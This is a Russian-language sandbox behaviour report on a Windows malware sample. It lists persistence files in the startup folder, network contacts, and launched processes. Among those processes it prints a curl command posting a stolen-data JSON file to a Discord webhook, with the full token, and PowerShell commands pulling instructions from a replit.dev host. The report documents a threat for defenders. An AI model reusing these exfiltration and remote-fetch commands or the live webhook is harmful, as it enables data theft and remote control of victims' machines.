Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- %APPDATA%\microsoft\windows\start menu\programs\startup\ran.cmd
- %APPDATA%\microsoft\windows\start menu\programs\startup\cdate.exe
- %APPDATA%\microsoft\windows\start menu\programs\startup\user.bat
- %APPDATA%\microsoft\windows\start menu\programs\startup\5157-xl.bat
- %APPDATA%\microsoft\windows\start menu\programs\startup\authenticationid.vbs
- %APPDATA%\microsoft\windows\start menu\programs\startup\systempipxfinalize.bat
- %APPDATA%\microsoft\windows\start menu\programs\startup\launch_silent.vbs
- %APPDATA%\microsoft\windows\start menu\programs\startup\authpass.bat
- %APPDATA%\microsoft\windows\start menu\programs\startup\usercontent.json
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\4278.tmp\4279.tmp\42a9.bat
- nul
Удаляет файлы, которые сам же создал
- %TEMP%\4278.tmp\4279.tmp\42a9.bat
Сетевая активность
Подключается к
- 'di###rdapp.com':443
- 'a6#################8450-a0d2de74dfc5-00-2bronl5ozoqon.riker.replit.dev':443
- 'x1.#.lencr.org':80
TCP
Запросы HTTP GET
- http://x1.#.lencr.org/
Другие
- 'di###rdapp.com':443
- 'a6#################8450-a0d2de74dfc5-00-2bronl5ozoqon.riker.replit.dev':443
UDP
- DNS ASK di###rdapp.com
- DNS ASK a6#################8450-a0d2de74dfc5-00-2bronl5ozoqon.riker.replit.dev
- DNS ASK x1.#.lencr.org
Другое
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "%TEMP%\4278.tmp\4279.tmp\42A9.bat <Полный путь к файлу>" (со скрытым окном)
- '<SYSTEM32>\timeout.exe' /t 1
- '<SYSTEM32>\wscript.exe' launch_silent.vbs
- '<SYSTEM32>\cmd.exe' /c ""%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\systempipxfinalize.bat" " (со скрытым окном)
- '<SYSTEM32>\curl.exe' -H "Content-Type: application/json" -X POST -d @usercontent.json https://discordapp.com/api/webhooks/1425691719948566641/YPZ_5WiVbiSzt4db5xc5l-vOvFVFFPAwIaDcM4PyfSGm8z5PhjGTqNMPo3-P79jKKt1m
- '<SYSTEM32>\cmd.exe' /c powershell -Command "(Invoke-WebRequest -Uri 'https://a6d6f641-95d4-430a-8450-a0d2de74dfc5-00-2bronl5ozoqon.riker.replit.dev/web' -UseBasicParsing).Content | Out-String -Stream | Select-Obje...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "(Invoke-WebRequest -Uri 'https://a6d6f641-95d4-430a-8450-a0d2de74dfc5-00-2bronl5ozoqon.riker.replit.dev/web' -UseBasicParsing).Content | Out-String -Stream | Select-Object -First 1"
- '<SYSTEM32>\cmd.exe' /c powershell -Command "(Invoke-WebRequest -Uri 'https://a6d6f641-95d4-430a-8450-a0d2de74dfc5-00-2bronl5ozoqon.riker.replit.dev/web-site' -UseBasicParsing).Content | Out-String -Stream | Select...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "(Invoke-WebRequest -Uri 'https://a6d6f641-95d4-430a-8450-a0d2de74dfc5-00-2bronl5ozoqon.riker.replit.dev/web-site' -UseBasicParsing).Content | Out-String -Stream | Select-Object -First...
- '<SYSTEM32>\cmd.exe' /c powershell -Command "(Invoke-WebRequest -Uri 'https://a6d6f641-95d4-430a-8450-a0d2de74dfc5-00-2bronl5ozoqon.riker.replit.dev/start' -UseBasicParsing).Content | Out-String -Stream | Select-Ob...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "(Invoke-WebRequest -Uri 'https://a6d6f641-95d4-430a-8450-a0d2de74dfc5-00-2bronl5ozoqon.riker.replit.dev/start' -UseBasicParsing).Content | Out-String -Stream | Select-Object -First 1"
- '<SYSTEM32>\cmd.exe' /c powershell -Command "(Invoke-WebRequest -Uri 'https://a6d6f641-95d4-430a-8450-a0d2de74dfc5-00-2bronl5ozoqon.riker.replit.dev/start-string' -UseBasicParsing).Content | Out-String -Stream | Se...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "(Invoke-WebRequest -Uri 'https://a6d6f641-95d4-430a-8450-a0d2de74dfc5-00-2bronl5ozoqon.riker.replit.dev/start-string' -UseBasicParsing).Content | Out-String -Stream | Select-Object -F...
